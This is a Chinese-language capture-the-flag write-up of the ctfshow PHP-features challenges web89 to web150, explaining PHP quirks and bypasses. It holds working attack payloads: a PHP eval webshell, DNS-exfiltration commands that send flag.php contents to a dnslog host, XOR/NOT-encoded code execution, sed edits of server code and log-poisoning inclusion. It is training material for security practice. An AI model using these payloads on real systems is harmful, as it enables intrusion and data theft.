ctfshow-PHP特性 刷题记录
web89
源码
利用数组绕过,对num的正则匹配。
因为 ——>preg_match只能处理字符串,当传入的subject是数组时会返回false
web90
源码
先解释一下intval
的意思
然后这道题就可以通过数字加字母绕过。 num=0x117c—>
web91
源码
这里解释了^php$/im
的意思 m是多行匹配的意思
^ —->是指仅匹配/p开头的字符串
$ —->是指仅匹配/p结尾的字符串
https://bbs.csdn.net/topics/320227966
这篇文章讲解了php正则遇到的所有符号的含义
%0aphp
是这样的
web92
源码
用4476的16进制或者8进制都能绕过
解法2:
intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以
web93
源码
虽然过滤了字母 我们还可以用8进制表示
web94
源码
先用4476_过滤掉第一个和第二个if,因为第三个函数要求参数里必须得有0,所以在末尾加一个0,就能成功绕过了。
web95
源码
加号或者空格都能绕过 这两个的url编码也能绕过。
web96
源码
解法一
利用php为协议
php://filter/read=convert.base64-encode/resource=flag.php
解法二
./
代表当前目录下 所以
解法三
利用当前目录的路径
/var/www/html
web97
源码
利用数组绕过md5强等于
web98
源码
这道题考察的是一个三元运算符
就是条件成立的话返回true里的值 不成立的返回false里的值 首先先分析代码,$_GET如果刚开始没赋值的话就会被强制转换为一个字符串,那么下面的条件都不会成立了,因为$__GET必须得是个数组才能拿到flag, **第一步** 得先给GET随便传点值让其为true使其返回```$_GET=&$_POST```变成post型的数组,然后下一行的$_GET就会变成$__POST。 **第二步** 然后给POST的flag传值为flag,使其转为COOKIE,那么第三行的$__GET就会变成$—COOKIE ,又因为COOKIE的flag没有没有值,就会返回flag,而不是SERVER。 **最后一步** 所以最后一行的GET就为CCOKIE了,最后只要在COOKIE里添加HTTP_FLAG=flag就可以成功输出flag了 ## web99 源码 ![image-20221219160616968](C:\Users\sdbdb\AppData\Roaming\Typora\typora-user-images\image-20221219160616968.png) array_push() --->的意思是靠rand(1,$i)在1到$i之间产生的随机数,然后赋值到$allow尾部里 in_array() ----> 判断$_GET里的值是否在$allow里 这道题就存在这个漏洞在这里。1 | in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1 |
所以就可以利用这个漏洞。
先看数组里有没有3这个数字,有的话看能不能写入东西。
能写入,然后就可以进行getshell了。
1 | 在content处写入 <?php eval($_POST[1]);?> |
web100
源码
1 | 这道题先看$v0那里,是赋值和逻辑运算符相加在一起,但是逻辑运算符的的优先级没有赋值的高,所以这里只需要看v1就行,后面的不一定得是数字了。 |
1 | 因为v2不能带;,所以用?>把它给替换掉了 %23是#号,把后面的东西给过滤掉了。v2就是传一句话木马,为什么可以这样写呢,就是eval比较特殊,他是这样的<?php 所以我们前面加的?>是为了与它闭合 |
0x2d —-> 指的是- 替换后以ctfshow{xxxx}提交就行
web101
源码
这道题考察的是反射类的含义,我也不太懂。。。。。
因为flag一般是uuid的,有16位ui,这才有15位,所以得加一个在最后一个位置上 0-f
web102
源码
1 | 这道题的难点是如何构造v2,看了题目给的解后才发现 |
它这个构造就很巧妙了,因为这个e可以当作科学计数法来看,所以刚好符合题目要求。
这个就是先进行base64编码,然后在进行16进制转换得到的结果。
1 | 这个前面构造的16进制前面的数字相当于0x,可以不要,去掉也不影响,所以为了能绕过,就给0x替换成11了. |
因为题目给的substr会把前两位给去掉,所以不影响最终结果。
1 | 然后v3传的php伪协议是解码的,所以是先进行16进制转换,然后在进行base64解码,然后写入2.php里。 |
访问2.php得到flag。
web103
源码
和上一题的解法一样
web104
源码
和md5差不多,都是加密函数
也可以利用数组绕过。
直接令值相等也行。
web105
源码
foreach里面指的就是这个 —-> $_GET[key]=value
value; ——- >这个是值覆盖
自己看pl
1 | 第一步,suces=flag的原因是为了绕过第一行的foreach里面的die(),所以利用了suces,然后根据值覆盖,suces就等于$flag.然后第二个post的话,就是为了绕过die(),然后进行值覆盖,那么error就等于$flag了,然后因为没有post flag,所以执行die($error)就等于die($flag).然后就会输出flag. |
web106
源码
这道题可以利用数组绕过
这样就可以拿到flag.
web107
源码
1 | 思路就是给v1随便给个值,因为找不到flag这个key,所以会返回false,然后md5传一个数组,md5也不会解析数组,也会返回false.所以相等,然后就会输出flag. |
这就是官方解,给的数字的含义。
https://blog.csdn.net/qq_63548648/article/details/128144485 可以看下我写的
web108
源码
1 | %00是一个截断字符,就是代表着一个字符串到这就结束了,后面的东西将不会在继续遍历了。 |
所以第一个if就是一个以a开头并且以a结尾的一个字符串。然后因为36d转为10进制是877,然后根据题目给的逆转函数就得输入778,然后函数逆转就可以等于36d了。
web109
源码
1 | 加号的含义就是有一个是字母就行 |
1 | 这道题学到了很多东西,就是利用exception::__toString 这个内置函数 |
1 | 这个函数就是echo new Exception('aaaa') --->会直接输出aaaa的报错信息 那么就可以利用这个来进行rce了 |
1 | 还有一种就是 $a='phpinfo';$a(); 这种就会直接输出phpinfo()的界面 |
然后直接访问fl36dg.txt,就可以直接拿到flag。
web110
源码
这道题因为好多东西都被🈲了,那么只能用字母了,那么system(ls)肯定行不通了,那么我们就得去寻找其他可以用来查看目录的方法了
1 | //filesystemiterator 是一个内置类,用来遍历文件 //继承类 |
1 | //directoryItrerator 是一个内置类,用来遍历目录 //父类 |
1 | 这种类型的题都是利用toString方法 echo new xxxxxxxx; |
写法一
1 | directoryItrerator(diename(__FILE__)) |
写法二
1 | directoryItrerator('.') . ---->是指当前目录 |
写法三
1 | directoryItrerator(/var/www/html) |
写法四
1 | directoryItrerator(getcwd()) getcwd() ----> 取得当前工作目录 |
写法五
1 | filesystemiterator(getcwd()) --->只会返回当前文件目录的第一个文件 |
写法六
1 | filesystemiterator 也可以利用 directoryItrerator上面的写法,方法是一样的 |
这里的文件名排序是按照文件首字母来排序的,因为f排在前面,所以先输出flag。
然后访问fl36dga.txt就能拿到flag了。
web111
源码
1 | 这道题考察的点是值覆盖,因为v1只需要包含ctfshow就行,那么想要拿到flag,就得用v2给v1覆盖掉,因为函数体内访问的值,只能访问传进来的,因为进行值覆盖了,所以访问不到,那么就得使用全局变量来进行访问了。 |
利用的是GLOBALS,全局变量。
web112
源码
1 | 这道题通过过滤的东西,和is_file()这个函数,就能判断出这是需要php伪协议做的 |
is_file()
1 | 因为php://filter/resource=flag.php 不是一个文件名,所以会返回false,绕过第一层的if判断,然后通过php伪协议传的flag.php就可以成功输出了。 这个伪协议是把过滤器给去掉后的样子 |
1 | 不去掉利用别的过滤器也行,这是官方的wp |
web113
源码
这道题把php://filter协议给过滤掉了。那我们可以尝试下zlip协议
https://segmentfault.com/a/1190000018991087 这篇文章把好几种可以用到的协议都总结到一起了
1 | 这就是zlip协议的用法。 |
下面是官方的解法
1 | /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p |
1 | 这是用了目录溢出的方法,可以记记,当作一个积累 |
web114
源码
1 | 还有一种伪协议是glob://flag.php 但是这题用不了,因为就是这个返回的是一个数组,highlight_file不能高亮一个数组,所以可以当个积累。 |
1 | 仔细瞧瞧,发现这里没过滤filter,那么就可以用老办法来试一下了。 |
web115
源码
这个是trim()函数会删掉的东西,不过我们也可以把这个当作一个知识点,就是以后碰到这种需要判断数字的时候,可以利用这些字符来绕过。当然,看到这里,发现缺了个0x0C
,刚好可以利用来绕过。
1 | 本地试了一下发现%0c36可以绕过is_numeric |
1 | $num!=='36' 这个是个强等于,因为%0c36不是字符串,所以也可以绕过 |
1 | trim($num)!=='36' 因为trim()不会把%0c给去掉,那么也可以进行绕过 |
1 | filter($num)=='36' 这个函数里面也没有把%0c过滤的东西,也可以成功返回36 |
1 | 有疑问的是这个$num=='36' 和 $num!=='36' 这就涉及到了一个强等于和弱类型比较的问题了,==表示的是值相等就行,===表示的是值和类型都必须相等。 |
web123
源码
这里有个命名的规则就是吗,php中变量名只能由数字字母和下划线组成,如果变量名不是这样的话,就会被强制转化,但php只会转换一次,那么就可以利用这一特点。
1 | 如果变量名中有 空格 + [ 则会被转化成 _ |
implode —->就是将数组以字符串的形式进行输出
get_defined_vars
这道题可以使用这两个东西来解。
试了一下,发现echo
可以用 那么可以尝试直接echo $flag
.
拿到flag,或者也可以上面的两种函数的结合方法。
也可以直接拿到flag.
web125
源码
1 | 这次要使用POST的方法提交数据,extract($_POST)会将POST的数据中的键名和键值转换为相应的变量名和变量值 |
1 | extract($_GET) 和post一样 |
那么传fl0g就可以直接用post传了
1 | var_export()还是可以替代var_dump来用 |
解法二
show_source(); 一样的效果
web126
源码
这题开始判断长度了
parse_str
那么我们就可以知道parse_str是干什么的了。
1 | 就是将一串字符串来解析成数组的形式并存储在设定的数组里,而+会起到分割作用,如果不分割的话,可能会像上图一样变成只有一个下标为0的一个数组,如果有加号分割的话,就会变成有下标分别为0和1的数组,那么现在就已经把这个函数的运用全部讲完了。 |
回到题目
1 | $_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。 |
1 | $a=$_SERVER['argv']; 是个空数组 |
那么我们就可以利用parse_str往数组里面传值。
解法一
1 | GET:?a=1+fl0g=flag_give_me |
解法二
1 | payload: |
1 | assert和eval与parse_str不同的是,eval要加上$符号 |
往数组a传值的话,都会先传到下标0下面
非预期解
1 | get: ?0=var_export($GLOBALS); |
这样写也行,与parse_str不同的是有无$.
web127
源码
https://www.cnblogs.com/luomir/p/5129875.html
1 | 通过这个图片和这个博客,知道了$url = $_SERVER['QUERY_STRING'];的作用 |
那么就可以进行判断了,那么就是得$url会等于问号后面的内容,那么我们就可以让$url=ctfshow=ilove36d,然后就可以得到flag,但是被过滤了,我们就可以通过非法命名来获得__,
那么[ + .被过滤了,我们就可以使用空格来代替,那么就可以成功输出flag.
web128
源码
1 | 小知识点: _()是一个函数 |
本地测试过了,call_user_func
()里面有不是函数的东西,也可以var_dump()输出。那么就只需要管最里面的一层`call_user_func
()`了
web129
源码
1 | 默认目录/var/www/html 就是先返回上一层目录(html),然后访问一个不存在的目录,然后接着访问上层目录(www),然后就访问www目录下的html,然后在访问html目录下的flag.php就可以拿到flag了。 |
web130
源码
直接输入就拿到flag了。
https://bbs.csdn.net/topics/320227966 关于正则的这篇文章全部概括了
1 | . 是匹配任意字符 |
1 | 第一个if的意思是ctfshow的前面如果有字符的话,就会被匹配到 |
1 | 第二个if的意思是因为stripos返回的是这个字符串第一次出现的位置,返回的是int型,而FALSE是bool型,这里又是强等于,肯定不相等。 |
web131
源码
这里有个小漏洞,就是正则匹配的话,字符长度超过100w的话就不会在继续匹配了。
进行100w次打印,然后加上36Dctfshow
web132
源码
是一个小网站
访问robots.txt得到可以访问/admin的信息
1 | 这里就是考察优先级关系,依次从高到低 非与或 !& | |
1 | 然后第二个就是先进行与判断为false,然后false与$username进行或运算的到true,然后在令code等于admin,就可以拿到flag了。 |
web133
源码
这道题学习的点还是很多的。
解法一
1 | 通过传入?F='$F ';touch 1,传入之后访问1,没有返回,所以当前目录不可写 |
payload
1 | /?F=`$F`;+ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.wxtcke.dnslog.cn -c 1 |
1 | ``这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。 |
1 | 这里的意思是会截取`$F`;+这六个字符,但是$F的值并没有变,那么就会截取到eval(`$F`;+)里面,变成eval(``$F`;+ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.wxtcke.dnslog.cn -c 1`;+) 由于前面的`$F`;+,无法识别,就会绕过,去执行后面可以执行的代码。 |
1 | curl不带有任何参数时,curl 就是发出 GET 请求。 |
http://www.ruanyifeng.com/blog/2019/09/curl-reference.html curl命令讲解
1 | -c, --complement:反选设定字符。也就是符合 SET1 的部份不做处理,不符合的剩余部份才进行转换(payload""里的东西就是符合的,所以不进行转换或者清除) |
解法二
https://blog.csdn.net/qq_46091464/article/details/109095382 这是出题人自己写的wp,可以去看看,因为我的bp不是专业版,用不了那个功能,所以就演示不了了。
总结一下
1 | 无回显我们可以用反弹shell 或者curl外带 或者盲注 这里的话反弹没有成功,但是可以外带。 |
web134
源码
1 | @parse_str($_SERVER['QUERY_STRING']); |
1 | payload为什么可以这样写呢,首先就是$_SERVER['QUERY_STRING']会以url/?=xxx 问号后的那内容用"xx",存储下来,然后又被parse_str()这个函数分割成数组的形式存储下来,就是key=key1,value=36d |
web135
源码
payload
1 | /?F=`$F`; ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.j4ko5o.dnslog.cn -c 1 |
1 | 这里awk 'NR==15'表示的是读取第几行,这是从前面的flag出现的位置判断出来的。然后其他指令的意思web133有讲 |
然后就去通过danslog查看拼接flag就好了。
web136
源码
1 | tee a指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件a。 |
1 | 先: |
然后就可以拿到flag了。
解法二
这个比较骚,就是把题目都给改了。
https://blog.csdn.net/weixin_39731083/article/details/82495950 xargs sed命令介绍
1 | 第一步:ls | xargs sed -i "s/die/echo/" -->-i是进入文本编辑模式 s是表示替换 这里是把die替换成echo |
1 | 第二步: ls | xargs sed -i "s/exec/system/" /后面加个g的话是全局替换,不加是只替换匹配到的第一个 |
web137
源码
这道题考察了就是如何不new一个参数也能访问类里边的函数。
payload
1 | ctfshow=ctfshow::getFlag --->就是 类名::函数名 这是函数得是static的情况下 |
1 | 不是static的情况 ctfshow=call_user_func_array(array(new ctfshow(),'getFlag')) ctfshow()--->是类名 getFlag是函数名。 |
web138
源码
利用这一函数的特性,也是不用::的一种写法
payload
1 | ctfshow[]=ctfshow&ctfshow[]=getFlag |
web139
源码
和web136一样,但是这题的tee和xargs sed用不了了。
1 | 所以得用命令执行的bash盲注 |
拿到根目录下的文件
1 | f149_15_h3r3 |
第一步拿根目录下的flag名字
1 | # -*- coding: utf-8 -*- |
第二步,读取flag
1 | # -*- coding: utf-8 -*- |
把flag复制下来,然后把空格去掉,补上{}就能拿到flag了。
web140
源码
1 | 思路就是让$code等于0,因为是弱类型比较,所以可以让0=='ctfshow' |
payload
1 | f1=system&f2=system 把system换成var_dump也行 exec/usleep也行,应该有很多,可以自己去试试 |
web141
源码
这里在本地试了下,
1 | 1+phpinfo()+1 ---> 是可以执行出来的,所以这道题也可以利用这一特点, |
payload
1 | v3=%2b(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)%2b |
1 | v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1 |
无数字字母绕过正则表达式总结 yu师傅写的
https://blog.csdn.net/miuzzx/article/details/109143413
web142
源码
web143
源码
和web141差不多
用web141的payload,然后把%2b换成*号就行
web144
源码
1 | 就是不一定得是这种格式 1+phpinfo()+1 1+1+phpinfo()这种形式也行 |
payload
1 | ?v1=1&v2=-(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff)&v3=1 |
web145
源码
就是其他加减乘除异或符号全被过滤了,但是在本地试了下 |没有被过滤,所以还是可以用的
但是取反没有被过滤,所以可以尝试来解
payload
1 | v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)| |
web146
源码
用上一题的payload直接就可以打通关了
前面给过yu师傅写的构造方法了,这里在给一下
https://blog.csdn.net/miuzzx/article/details/109143413
web147
源码
1 | 这里的正则是第一个字符不能是数字字母 所以可以用 \ 绕过 |
1 | php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法 |
1 | 由于第一个参数为空,那么我们就得考虑去找一个能执行第一个参数为空的函数了,那么create_functino()就可以 |
这里的思路是用}先把第一个if给包含住,然后在进行rce,后面的{是为了把下一行的}给包含住,#是为了把);给注释掉。
然后就可以进行rce了
web148
源码
本地试过了,这样也可以执行,那么就可以构造get_ctfshow_fl0g()
这是解法1
解法二
直接可以在eval里进行命令执行
payload
1 | code=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff); |
web149
源码
这里不能用其他文件来新建的原因是unlink函数会把其他函数给删除掉
所以只能覆盖掉index.php
然后在访问index.php,进行post rce 就能拿到flag了。
web150
源码
这道题可以用文件包含日志 /var/log/nginx/access.log
1 | 就是因为$key为url/?后面的东西,那么在extract($_GET);传isVIP的时候,就要注意不能传有关正则匹配中的东西,不然的话就会代码就会执行结束。 |
1 | 这里的post传ctf的时候不含:就行,那么只要符合上述条件就行了。 |
这里就可以考虑文件包含日志了。
服务器是nginx的,那么就利用nginx的默认日志路径
只有一次机会,写错了就得重新开环境。
第一步
第二步
第三步
进行rce
拿到flag.
web150_plus
源码
这里不给用日志包含了
题解释
1 | 这个题一点点小坑__autoload()函数不是类里面的 |
直接拿到flag.